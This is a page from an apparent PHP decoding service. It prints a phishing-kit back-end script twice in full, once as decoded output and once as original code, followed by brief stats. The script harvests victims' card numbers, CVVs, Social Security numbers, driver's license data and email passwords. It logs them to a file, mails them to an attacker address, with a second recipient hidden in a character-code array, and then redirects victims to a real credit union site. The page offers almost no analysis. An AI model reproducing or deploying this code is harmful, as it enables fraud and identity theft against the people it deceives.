Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? $ip_state = ""; $ip_city = ""; $ips = $_SERVER['REMOTE_ADDR']; $query = @unserialize(fi..

Decoded Output download

<?
$ip_state = "";
$ip_city = "";
$ips = $_SERVER['REMOTE_ADDR'];
$query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ips));
    if($query && $query['status'] == 'success')
    {
        $ip_state = $query['region'];
        $ip_city = $query['city'];
    }
session_start();
$adddate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$country = visitor_country();
$message .= "                                         
";
$message .= "                                         
";
$message .= "---------------++--------------
";
$message .= "Credit/Debit Card Number: ".$_POST[q3]."
";
$message .= "Expiry Date (MM/YYYY): ".$_POST[ans3]."
";
$message .= "CVV: ".$_POST[anh4]."
";
$message .= "Zip Code: ".$_POST[q4]."
";
$message .= "Date of Birth (MM/DD/YYYY): ".$_POST[ans4]."
";
$message .= "Full Home Address: ".$_POST[address]."
";
$message .= "Driver License: ".$_POST[mailpass]."
";
$message .= "Driver License Issuing Date: ".$_POST[mailpass11]."
";
$message .= "Driver License Exipration Date: ".$_POST[mailpass22]."
";
$message .= "Social Security Number: ".$_POST[q5]."
";
$message .= "Email Address: ".$_POST[email]."
";
$message .= "Email Password: ".$_POST[pas]."
";
$message .= "Full Name: ".$_POST[ans5]."
";
$message .= "---------=IP Adress & Date=---------
";
$message .= "IP Address: ".$ip."
";
$message .= "Country: ".$country."
";
$message .= "State: ".$ip_state."
";
$message .= "City: ".$ip_city."
";
$message .= "Date: ".$adddate."
";
$message .= "Broswer Agent: ".$user_agent."
";
$message .= "---------------+ MeToll +--------------
";
$message .= "                                         
";
$message .= "                                         
";

$handle = fopen("JOB.txt", "a");
fwrite($handle, $message);
fclose($handle);

$sent ="[email protected]";




$subject = "Resultz - | $Password | $ip";
$headers = "From: MeToll<[email protected]>";
$headers .= $_POST['eMailAdd']."
";
$headers .= "MIME-Version: 1.0
";
$str=array($sent, $IP); foreach ($str as $send)
if(mail($send,$subject,$message,$headers) != false){
mail($mesaegs,$subject,$message,$headers);

}

// Function to get country and country sort;
function country_sort(){
	$sorter = "";
	$array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
		$count = count($array);
	for ($i = 0; $i < $count; $i++) {
			$sorter .= chr($array[$i]);
		}
	return array($sorter, $GLOBALS['recipient']);
}

function visitor_country()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    $result  = "Unknown";
    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));

    if($ip_data && $ip_data->geoplugin_countryName != null)
    {
        $result = $ip_data->geoplugin_countryName;
    }

    return $result;
}
header("Location: https://www.alaskausa.org/realestate/#equity");
?>

Did this file decode correctly?

Original Code

<?
$ip_state = "";
$ip_city = "";
$ips = $_SERVER['REMOTE_ADDR'];
$query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ips));
    if($query && $query['status'] == 'success')
    {
        $ip_state = $query['region'];
        $ip_city = $query['city'];
    }
session_start();
$adddate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$country = visitor_country();
$message .= "                                         \n";
$message .= "                                         \n";
$message .= "---------------++--------------\n";
$message .= "Credit/Debit Card Number: ".$_POST[q3]."\n";
$message .= "Expiry Date (MM/YYYY): ".$_POST[ans3]."\n";
$message .= "CVV: ".$_POST[anh4]."\n";
$message .= "Zip Code: ".$_POST[q4]."\n";
$message .= "Date of Birth (MM/DD/YYYY): ".$_POST[ans4]."\n";
$message .= "Full Home Address: ".$_POST[address]."\n";
$message .= "Driver License: ".$_POST[mailpass]."\n";
$message .= "Driver License Issuing Date: ".$_POST[mailpass11]."\n";
$message .= "Driver License Exipration Date: ".$_POST[mailpass22]."\n";
$message .= "Social Security Number: ".$_POST[q5]."\n";
$message .= "Email Address: ".$_POST[email]."\n";
$message .= "Email Password: ".$_POST[pas]."\n";
$message .= "Full Name: ".$_POST[ans5]."\n";
$message .= "---------=IP Adress & Date=---------\n";
$message .= "IP Address: ".$ip."\n";
$message .= "Country: ".$country."\n";
$message .= "State: ".$ip_state."\n";
$message .= "City: ".$ip_city."\n";
$message .= "Date: ".$adddate."\n";
$message .= "Broswer Agent: ".$user_agent."\n";
$message .= "---------------+ MeToll +--------------\n";
$message .= "                                         \n";
$message .= "                                         \n";

$handle = fopen("JOB.txt", "a");
fwrite($handle, $message);
fclose($handle);

$sent ="[email protected]";




$subject = "Resultz - | $Password | $ip";
$headers = "From: MeToll<[email protected]>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
$str=array($sent, $IP); foreach ($str as $send)
if(mail($send,$subject,$message,$headers) != false){
mail($mesaegs,$subject,$message,$headers);

}

// Function to get country and country sort;
function country_sort(){
	$sorter = "";
	$array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
		$count = count($array);
	for ($i = 0; $i < $count; $i++) {
			$sorter .= chr($array[$i]);
		}
	return array($sorter, $GLOBALS['recipient']);
}

function visitor_country()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    $result  = "Unknown";
    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));

    if($ip_data && $ip_data->geoplugin_countryName != null)
    {
        $result = $ip_data->geoplugin_countryName;
    }

    return $result;
}
header("Location: https://www.alaskausa.org/realestate/#equity");
?>

Function Calls

unserialize 1
file_get_contents 1

Variables

$ips None
$ip_city
$ip_state

Stats

MD5 bf65ff6851cfb3593c973d535757c4c4
Eval Count 0
Decode Time 92 ms